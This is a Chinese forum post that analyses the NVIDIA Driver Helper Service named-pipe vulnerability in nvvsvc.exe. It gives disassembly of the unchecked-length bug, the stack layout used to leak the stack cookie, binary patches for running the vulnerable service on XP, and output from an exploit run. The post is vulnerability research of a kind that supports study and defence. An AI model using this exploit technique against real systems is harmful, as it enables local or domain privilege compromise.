详情见36x新闻,本来不想发出来的,不过看到36x的人又在放屁吓人.还是发出来吧.
首先这个洞和nvidia的驱动没有一毛钱关系,不是内核级的漏洞.
NVIDIA Driver Helper Service,是一个r3层的服务.
程序是nvvsvc.exe(win7)或nvvsvc32.exe(xp)
这个程序启动后会创建一个命名管道\\pipe\nvsr,比较特别的是这个管道的dacl是空,也就是说
everyone都可以访问.
然后重要的是这个洞其实只针对win7 x64版有效.在win7 x32版上只能够做到infoleak.
xp x32版下0x52命令不支持,同时老版本的xp版nvsvc32.exe根本没建命名管道.所以也就没360x吹的那么凶,另外这个洞远程利用的情况下对于win7系统关闭了空连接共享所以必须要一个
用户名密码(且密码不能为空).
下面来看洞:win7 32位版nvvsvc
loc_4035D8: ; 取后面数据的长度
lea eax, [ebp-4022h]
push ebx ; ebx=2000h
push eax
mov [ebp+nNumberOfBytesToWrite], ecx ; ecx=3h
call sub_43132C ; 返回时如果5200后面是4000h个41h,那么eax=2000h
pop ecx
lea eax, [ebp+eax*2+var_4020] ; eax=ebp+4000h-4020h=ebp-20h
pop ecx
mov ecx, [eax] ; [ebp-20]=00000000h,ecx=0
add eax, 8 ; eax=lea [ebp-18h]
mov [ebp+nNumberOfBytesToWrite], ecx
mov ecx, [eax-4] ; eax=lea [ebp-1ch],[eax]中的值为00004078h
push eax ; eax为地址,地址中的值是收到的数据中4078h后面的41 41 ..
mov [ebp+dwType], eax
lea eax, [ebp+nNumberOfBytesToWrite]
push eax ; [eax]的值为0
lea eax, [ebp-4022h]
mov [ebp+lpData], ecx ; ecx=00004078h
push eax ; eax为地址,地址中的值为41 00 41 00....
cmp dword_491550, edi ; edi=0
jle short loc_403632
然后在下面触发
loc_40363D:
mov esi, [ebp+lpData]
add esp, 0Ch
push esi ; 4078h,copy的长度
push [ebp+dwType] ; 地址中的值是收到的数据中4078h后面的41 41 ..
lea eax, [ebp+Buffer] ; 地址中的值会发送回攻击者
push eax
call loc_430720 ; bug!!!
add esp, 0Ch
mov [ebp+nNumberOfBytesToWrite], esi
jmp loc_403900
最后再来看内存布局:
ebp-8044h response buffer ---目的
------------------------------recivebuf
ebp-4024h 52 00
ebp-4022h 41 41
......... 41 41
ebp-0024h 41 41
ebp-0022h 00 00
ebp-0020h 00 00 00 00
ebp-001ch 20 00 00 00 -->length
ebp-0018h 41 41 41 41 --->源
ebp-0014h 41 41 41 41
ebp-0010h 41 41 41 41
ebp-000ch 41 41 41 41
ebp-0008h 41 41 41 41
-----------------------------recivebuf
ebp-0004h cookie
漏洞原理:有漏洞的nvvsvc会读recivebuf,判断头两字节是否为52h,如果是跳过52 00后面
的字符串,然后读ebp-1c处的长度(没有任何效验),源为length的偏移往后ebp-18h,并把这些数据移到ebp-8044处的responsebuf,然后调用writefile把数据发给攻击者.如果length定义大点
就会读出ebp-4h处的stack cookie并发给攻击者.
由于32位版下局部变量的内存布局源地址在目的地址的高位,所以这个洞只能造成infoleak.
64位的情况刚好相反,所以能够利用,具体可以见老外的exp不多说.
注:
让win7 32位版的nvvsvc在xp 32位版上运行要改exe的四个地方
1
改引入表的reggetvaluew为regclosekey,因为xp下没这个函数
2
程序入口getcommandlinea调用后改为jmp 00403988
3
8D 4D EC lea ecx, [ebp+ThreadId]
51 push ecx ; lpThreadId
6A 04 push 4 ; CREATE_SUSPENDED
FF 75 F8 push [ebp+hObject] ; lpParameter
89 45 EC mov [ebp+ThreadId], eax
68 75 34 40 00 push offset StartAddress ; lpStartAddress
50 push eax ; dwStackSize
50 push eax ; lpThreadAttributes
FF 15 98 B0 46 00 call ds:CreateThread
89 45 F0 mov [ebp+hThread], eax
E8 F0 E8 FF FF call sub_402313 ; 这个call要注解掉
4
loc_403632:
lea edi, [ebp+lpData]
call sub_4025D0 ; nop掉
附件说明:
nvvsvc32.rar是把win7 32位版的nvvsvc改了下让其可以在xp和win下运行不管你是否有nvidia的显卡
exp是改的老外的攻击程序,读32位版的cookie.(ps:老外还是很牛的)
攻击成功效果:
C:\Documents and Settings\mj0011\桌面\新建文件夹\ms0x-0xx\nvidia pipe>exp local
** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **
[ () peterwintrsmith]
- Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -
Action 1 of 9: - CONNECT
Action 2 of 9: - CLIENT => SERVER
Written 16416 (0x4020) characters to pipe
Action 3 of 9: - SERVER => CLIENT
Read 32 (0x20) characters from pipe
Action 4 of 9: Building exploit ...
=> Stack cookie 0xb5b04abd:
Action 5 of 9: - CLIENT => SERVER
Written 16416 (0x4020) characters to pipe
Action 6 of 9: - SERVER => CLIENT
Read 16384 (0x4000) characters from pipe
Action 7 of 9: - CLIENT => SERVER
Written 16416 (0x4020) characters to pipe
Action 8 of 9: - SERVER => CLIENT
!! Error reading from pipe (at least, no data on pipe)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课